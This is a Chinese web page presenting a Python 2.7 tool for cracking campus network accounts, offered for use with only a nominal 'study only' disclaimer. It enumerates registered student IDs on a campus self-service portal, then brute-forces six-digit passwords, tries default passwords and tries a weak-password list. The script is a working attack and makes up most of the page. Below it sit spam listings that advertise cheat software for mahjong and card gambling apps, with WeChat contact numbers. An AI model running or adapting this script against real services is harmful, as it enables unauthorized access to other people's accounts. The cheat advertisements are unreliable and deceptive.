校园网密码破解程序
admin
2023-03-15 13:01:19
0

环境:Python 2.7

#!/usr/bin/env python
#coding=utf8
print "+"*50
print u"功能:简单破解校园网账号"
print u"微信公众号:电脑趣事"
print u"仅供学习交流使用,严禁违法犯罪,否则后果自负"
print "+"*50

import httplib
import urllib
import re


username=[]
httpClient = None
If_password =[000000,123456,123123,456456,789789,110110,110120,111111,222222,333333,444444,555555,666666,777777,888888,999999,5201314]

def Determine():
	nj = int(raw_input("please select a class 15,16,17:").strip())
	start =int(raw_input("please input start(Prompt:1234):").strip())
	end = int(raw_input("please input end(Prompt:5678):").strip())
	
	if (end <=start or (nj != 15 and nj != 16 and nj!=17)):
		print u"输入有误,请重新选择"
		print '='*50
		menu()
		exit()
	else:
		print "please wait a moment "

	#构造学号
	for i in range(start,end):
	    for j in range(0,100):
	        key_numer = int(str(nj)+str(i).zfill(4)+str(j).zfill(3))
	        
	        try:
	            params = urllib.urlencode({'key': key_numer})
	            headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
	            httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)
	            httpClient.request("POST", "/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser", params, headers)
	            response = httpClient.getresponse()
	            right_or_wrong = response.read()
	            #正则和判断
	            zhengze = re.findall( r'false',right_or_wrong , re.M|re.I)
	            if len(zhengze) == 1:
	                username.append(key_numer)
	            
	        except Exception, e:
	            print e
	        finally:
	            if httpClient:
	                httpClient.close()
	print "."*50
	print u"在这个范围内已开通的账号有:"
	print ""
	print username
	print "."*50
	return username

def Connect(UserName,PassWord):
	global a
	try:
		params = urllib.urlencode({'name': UserName,'password':PassWord})
		headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
		httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)
		httpClient.request("POST", "/selfservice/module/scgroup/web/login_judge.jsf", params, headers)
		response = httpClient.getresponse()
		right_or_wrong = response.read()

		pipei = re.findall(r'errorMsg', right_or_wrong, re.M|re.I)
		if len(pipei)==1:
			a = 0 #判断是否爆破出来的标记
			pass
		else:
			print u"账号:%s\000\000密码:%s"%(UserName,PassWord)
			a = 1
			
	except Exception, e:
		print e
	finally:
		if httpClient:
		    httpClient.close()
	return a

def yanzheng():
	UserName = str(raw_input("please select a username input:").strip())
	for i in range(0,1000000):
		PassWord = str(i).zfill(6)
		Connect(UserName,PassWord)
		if a == 1:
			break
		else:
			pass

def Default_password_single():
	UserName = str(raw_input("please select a username input:").strip())
	PassWord = UserName[3:10]
	Connect(UserName,PassWord)
	if a ==0:
		PassWord = '123456'
		Connect(UserName,PassWord)
		if a==0:
			print u"已经查找完成"

def Default_password_not_single():
	print "please wait a moment"
	for i in range(0,len(username)):
		UserName = str(username[i])
		PassWord = UserName[3:10]
		Connect(UserName,PassWord)
		if a ==0:
			PassWord = '123456'
			Connect(UserName,PassWord)
			if (i==len(username)-1 and a == 0):
				print u"已经查找完成"

def if_password():
	print "please wait a moment"
	for i in range(0,len(username)):
		UserName = str(username[i])	
		for j in range(0,len(If_password)):
			PassWord = If_password[j]
			Connect(UserName,PassWord)
			if (i==len(username)-1 and j==len(If_password)-1 and a == 0):
				print u"已经查找完毕"			



def menu():
    print u"欢迎大家关注微信公众号:“电脑趣事”,请选择菜单"
    while True:
    	print "*"*50
    	print u"\t(1) 查看已经注册的账号"
    	print u"\t(2) 简单的爆破"
    	print u"\t(3) 默认密码单个查询"
    	print u"\t(4) 默认密码批量查询"
    	print u"\t(5) 弱口令爆破"
    	print "*"*50
        choices = raw_input("Please choices:").strip()
        if len(choices) == 0:
        	continue
        if choices == '1':
        	Determine()
    	elif choices == '2':
    		yanzheng()
    	elif choices == '3':
    		Default_password_single()
    	elif choices == '4':
    		Default_password_not_single()
    	elif choices == '5':
    		if_password()
        else:
            print u"请注意账号安全!"
            exit()


if __name__ == '__main__':
	menu()
	







微信公众号

校园网密码破解程序

相关内容

热门资讯

今日重大发现“九九山城麻将.开... 网上科普关于“九九山城麻将有没有挂”话题很是火热,小编也是针对九九山城麻将作*弊开挂的方法以及开挂对...
【今日要闻】“巴郎新疆麻将.是... 您好:巴郎新疆麻将这款游戏可以开挂,确实是有挂的,需要了解加客服微信【9784099】很多玩家在这款...
重磅消息“乐酷牛牛.开挂神器?... 您好:乐酷牛牛这款游戏可以开挂,确实是有挂的,需要了解加客服微信【9752949】很多玩家在这款游戏...
今日重大发现“问鼎娱乐.有挂吗... 今日重大发现“问鼎娱乐.有挂吗?”透视曝光猫腻您好,问鼎娱乐这个游戏其实有挂的,确实是有挂的,需要了...
最新引进“棋乐麻将.可以开挂吗... 有 亲,根据资深记者爆料棋乐麻将是可以开挂的,确实有挂(咨询软件无需打开...
大批特战部队和装备进驻加勒比,... 【文/观察者网 柳白】加勒比海局势持续紧张。美国《华尔街日报》12月23日刊文称,本周美国已向加勒比...
终于了解“兴动棋牌麻将.可以开... 有 亲,根据资深记者爆料兴动棋牌麻将是可以开挂的,确实有挂(咨询软件无需...
最高检发布典型案例:恶势力团伙... 澎湃新闻记者 刘璐招募未成年学生到KTV、酒吧、音乐餐厅等娱乐场所从事有偿陪侍、卖淫活动,恶势力团伙...
终于懂了“微乐四川麻将.辅助器... 有 亲,根据资深记者爆料微乐四川麻将是可以开挂的,确实有挂(咨询软件无需...
玩家分享攻略“皇豪众娱牛牛.到... 网上科普关于“皇豪众娱牛牛有没有挂”话题很是火热,小编也是针对皇豪众娱牛牛作*弊开挂的方法以及开挂对...